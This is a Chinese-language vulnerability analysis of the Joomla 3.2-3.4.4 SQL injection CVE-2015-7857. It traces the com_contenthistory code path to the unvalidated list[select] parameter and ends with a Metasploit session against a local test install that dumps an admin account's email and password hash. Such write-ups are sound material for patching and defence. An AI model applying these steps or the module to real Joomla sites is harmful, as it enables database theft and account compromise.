Joomla 3.2-3.4.4 Sqli CVE-2015-7857 漏洞分析

26 Oct 2015 - Tr3jer_CongRong

Joomla是一套获得过多个奖项的内容管理系统(Content Management System,CMS),它采用PHP+MySQL数据库开发,可以运行在Linux、Windows、MacOSX、Solaris等多种平台上。除了具有新闻/文章管理、文档/图片管理、网站布局设置、模板/主题管理等一些基本功能外,还可以通过其提供的上千个插件进行功能扩展。同时它还支持多种语言,由于它的功能非常强大,语言支持强,因此在全世界范围内都有很广泛的应用。

漏洞分析

      Joomla近日爆出一个由于接收参数过滤不严导致sql注入的漏洞CVE-2015-7857,通过这个注入漏洞甚至可以得到数据库中任何数据,首先看看漏洞触发组件contenthistory

/components/com_contenthistory/contenthistory.php

<?php
defined('_JEXEC') or die;

// Load the com_contenthistory language files, default to the admin file and 	fall back to site if one isn't found
$lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
||	$lang->load('com_contenthistory', JPATH_SITE, null, false, true);

// Hand processing over to the admin base file
require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';

      加载了/administrator/components/com_contenthistory/contenthistory.php这个文件,Joomla管理组件都放在/administrator/components/目录下,而且所有管理组件都会先检查权限:

if (!JFactory::getUser()->authorise('core.manage', 'com_checkin'))
{
return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

      可是com_contenthistory组件在require之前并没有进行此权限检查,再看看加载的这个组件都做了什么。

/administrator/components/com_contenthistory/contenthistory.php

<?php
defined('_JEXEC') or die;

$controller = JControllerLegacy::getInstance('Contenthistory', 	array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();

      首先调用JControllerLegacy类并赋值给变量$controller,随后$controller调用了控制器execute()方法。调用的过程传递了JFactory类的getApplication()方法,最后调用了display()控制类,用来实现显示的视图模块。

/libraries/legacy/controller/legacy.php

public function display($cachable = false, $urlparams = array())
{
	$document = JFactory::getDocument();
	$viewType = $document->getType();
	$viewName = $this->input->get('view', $this->default_view);
	$viewLayout = $this->input->get('layout', 'default', 'string');

	$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));

	// Get/Create the model
	if ($model = $this->getModel($viewName))
	{
		// Push the model into the view (as default)
		$view->setModel($model, true);
	}

	$view->document = $document;

	$conf = JFactory::getConfig();

	// Display the view
	if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
	{
		$option = $this->input->get('option');
		$cache = JFactory::getCache($option, 'view');

		if (is_array($urlparams))
		{
			$app = JFactory::getApplication();

			if (!empty($app->registeredurlparams))
			{
				$registeredurlparams = $app->registeredurlparams;
			}
			else
			{
				$registeredurlparams = new stdClass;
			}

			foreach ($urlparams as $key => $value)
			{
				// Add your safe url parameters with variable type as value {@see JFilterInput::clean()}.
				$registeredurlparams->$key = $value;
			}

			$app->registeredurlparams = $registeredurlparams;
		}

		$cache->get($view, 'display');
	}
	else
	{
		$view->display();
	}

	return $this;
}

      程序进行到这个方法时会接收view参数进行显示视图,在第一个if语句快中可以看出请求到模块名时则加载对应的模块,最后$view调用display()方法进行视图处理。跟进到administrator历史模块的数据库操作方法,程序进行到此调用getListQuery()方法时进行数据提取。

/administrator/components/com_contenthistory/models/history.php

protected function getListQuery()
{
	// Create a new query object.
	$db = $this->getDbo();
	$query = $db->getQuery(true);

	// Select the required fields from the table.
	$query->select(
		$this->getState(
			'list.select',
			'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
			'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
		)
	)
	->from($db->quoteName('#__ucm_history') . ' AS h')
	->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
	->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

	// Join over the users for the editor
	->select('uc.name AS editor')
	->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');

	// Add the list ordering clause.
	$orderCol = $this->state->get('list.ordering');
	$orderDirn = $this->state->get('list.direction');
	$query->order($db->quoteName($orderCol) . $orderDirn);

	return $query;
}

      进行数据提取的时候调用了getState()函数,用于获取请求模型的属性值。

/libraries/legacy/model/legacy.php

public function getState($property = null, $default = null)
{
	if (!$this->__state_set)
	{
		// Protected method to auto-populate the model state.
		$this->populateState();

		// Set the model state set flag to true.
		$this->__state_set = true;
	}

	return $property === null ? $this->state : $this->state->get($property, $default);
}

      随后调用当前类的populateState()方法,用于过滤请求的参数为指定的数据类型。

/administrator/components/com_contenthistory/models/history.php

protected function populateState($ordering = null, $direction = null)
{
	$input = JFactory::getApplication()->input;
	$itemId = $input->get('item_id', 0, 'integer');
	$typeId = $input->get('type_id', 0, 'integer');
	$typeAlias = $input->get('type_alias', '', 'string');

	$this->setState('item_id', $itemId);
	$this->setState('type_id', $typeId);
	$this->setState('type_alias', $typeAlias);
	$this->setState('sha1_hash', $this->getSha1Hash());

	// Load the parameters.
	$params = JComponentHelper::getParams('com_contenthistory');
	$this->setState('params', $params);

	// List state information.
	parent::populateState('h.save_date', 'DESC');
}

      程序执行到方法末尾时执行了parent::populateState('h.save_date', 'DESC');也就是调用父类的populateState()方法,用于过滤接收的list[]数组。

/libraries/legacy/model/list.php

protected function populateState($ordering = null, $direction = null)
{
	// If the context is set, assume that stateful lists are used.
	if ($this->context)
	{
		$app = JFactory::getApplication();

		// Receive & set filters
		if ($filters = $app->getUserStateFromRequest($this->context . '.filter', 'filter', array(), 'array'))
		{
			foreach ($filters as $name => $value)
			{
				$this->setState('filter.' . $name, $value);
			}
		}

		$limit = 0;

		// Receive & set list options
		if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
		{
			foreach ($list as $name => $value)
			{
				// Extra validations
				switch ($name)
				{
					case 'fullordering':
						$orderingParts = explode(' ', $value);

						if (count($orderingParts) >= 2)
						{
							// Latest part will be considered the direction
							$fullDirection = end($orderingParts);

							if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
							{
								$this->setState('list.direction', $fullDirection);
							}

							unset($orderingParts[count($orderingParts) - 1]);

							// The rest will be the ordering
							$fullOrdering = implode(' ', $orderingParts);

							if (in_array($fullOrdering, $this->filter_fields))
							{
								$this->setState('list.ordering', $fullOrdering);
							}
						}
						else
						{
							$this->setState('list.ordering', $ordering);
							$this->setState('list.direction', $direction);
						}
						break;

					case 'ordering':
						if (!in_array($value, $this->filter_fields))
						{
							$value = $ordering;
						}
						break;

					case 'direction':
						if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
						{
							$value = $direction;
						}
						break;

					case 'limit':
						$limit = $value;
						break;

					// Just to keep the default case
					default:
						$value = $value;
						break;
				}

				$this->setState('list.' . $name, $value);
			}
		}
		else
		// Keep B/C for components previous to jform forms for filters
		{
			// Pre-fill the limits
			$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
			$this->setState('list.limit', $limit);

			// Check if the ordering field is in the white list, otherwise use the incoming value.
			$value = $app->getUserStateFromRequest($this->context . '.ordercol', 'filter_order', $ordering);

			if (!in_array($value, $this->filter_fields))
			{
				$value = $ordering;
				$app->setUserState($this->context . '.ordercol', $value);
			}

			$this->setState('list.ordering', $value);

			// Check if the ordering direction is valid, otherwise use the incoming value.
			$value = $app->getUserStateFromRequest($this->context . '.orderdirn', 'filter_order_Dir', $direction);

			if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
			{
				$value = $direction;
				$app->setUserState($this->context . '.orderdirn', $value);
			}

			$this->setState('list.direction', $value);
		}

		// Support old ordering field
		$oldOrdering = $app->input->get('filter_order');

		if (!empty($oldOrdering) && in_array($oldOrdering, $this->filter_fields))
		{
			$this->setState('list.ordering', $oldOrdering);
		}

		// Support old direction field
		$oldDirection = $app->input->get('filter_order_Dir');

		if (!empty($oldDirection) && in_array(strtoupper($oldDirection), array('ASC', 'DESC', '')))
		{
			$this->setState('list.direction', $oldDirection);
		}

		$value = $app->getUserStateFromRequest($this->context . '.limitstart', 'limitstart', 0);
		$limitstart = ($limit != 0 ? (floor($value / $limit) * $limit) : 0);
		$this->setState('list.start', $limitstart);
	}
	else
	{
		$this->setState('list.start', 0);
		$this->setState('list.limit', 0);
	}
}

      函数使用switch语句判断fullorderingorderingdirectionlimit是否过滤,但是没有验证list[select],这时当程序执行到$this->getState(list.select),则导致注入。测试下,访问contenthistory组件时无限制加载,option=comtenthistory加载历史模块,view=history加载历史视图,list[select]=1满足条件时,则会报错。

      程序执行到populateState()方法接收参数时确保item_idtype_idlist[ordering]要同时传递,就可以构造payload进行报错注入获得数据,无需获取表前缀,%23_即为joomla表前缀,joomla会自动将#_转换为表前缀,因为joomla的前缀为随机字符串,也可以通过报错获得这个随机字符串。

Msf也已经更新了此漏洞的Exploit:

msf > use auxiliary/gather/joomla_contenthistory_sqli
msf auxiliary(joomla_contenthistory_sqli) > show options

Module options (auxiliary/gather/joomla_contenthistory_sqli):
Name       Current Setting  Required  Description
----       ---------------  --------  -----------
Proxies                     no        A proxy chain of format 	type:host:port[,type:host:port][...]
RHOST                       yes       The target address
RPORT      80               yes       The target port
TARGETURI  /                yes       The relative URI of the Joomla 	instance
VHOST                       no        HTTP server virtual host

msf auxiliary(joomla_contenthistory_sqli) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(joomla_contenthistory_sqli) > set TARGETURI /joomla_3.4.4
TARGETURI => /joomla_3.4.4
msf auxiliary(joomla_contenthistory_sqli) > show options
	
Module options (auxiliary/gather/joomla_contenthistory_sqli):
Name       Current Setting  Required  Description
----       ---------------  --------  -----------
Proxies                     no        A proxy chain of format 	type:host:port[,type:host:port][...]
RHOST      127.0.0.1        yes       The target address
RPORT      80               yes       The target port
TARGETURI  /joomla_3.4.4    yes       The relative URI of the Joomla 	instance
VHOST                       no        HTTP server virtual host

msf auxiliary(joomla_contenthistory_sqli) > run

[+] Saved file to: /Users/CongRong/.msf4/loot/20151026230744_default_127.0.0.1_joomla.users_471318.txt
[+] Saved file to: /Users/CongRong/.msf4/loot/20151026230917_default_127.0.0.1_joomla.users_140130.txt
[*] Auxiliary module execution completed
msf auxiliary(joomla_contenthistory_sqli) > cat .msf4/loot/20151026230744_default_127.0.0.1_joomla.users_471318.txt
[*] exec: cat .msf4/loot/20151026230744_default_127.0.0.1_joomla.users_471318.txt
[{"activation":"","block":"","email":"admin@qq.com","id":"1","lastResetTime":"","lastvisitDate":"","name":"","otep":"","otpKey":"","params":"","password":"d1a1976e385ae56e05524b9517111c75e47c1d23079229c867a7ecc5cd76e8a3","registerDate":"","requireReset":"","resetCount":"","sendEmail":"","username":"admin"}]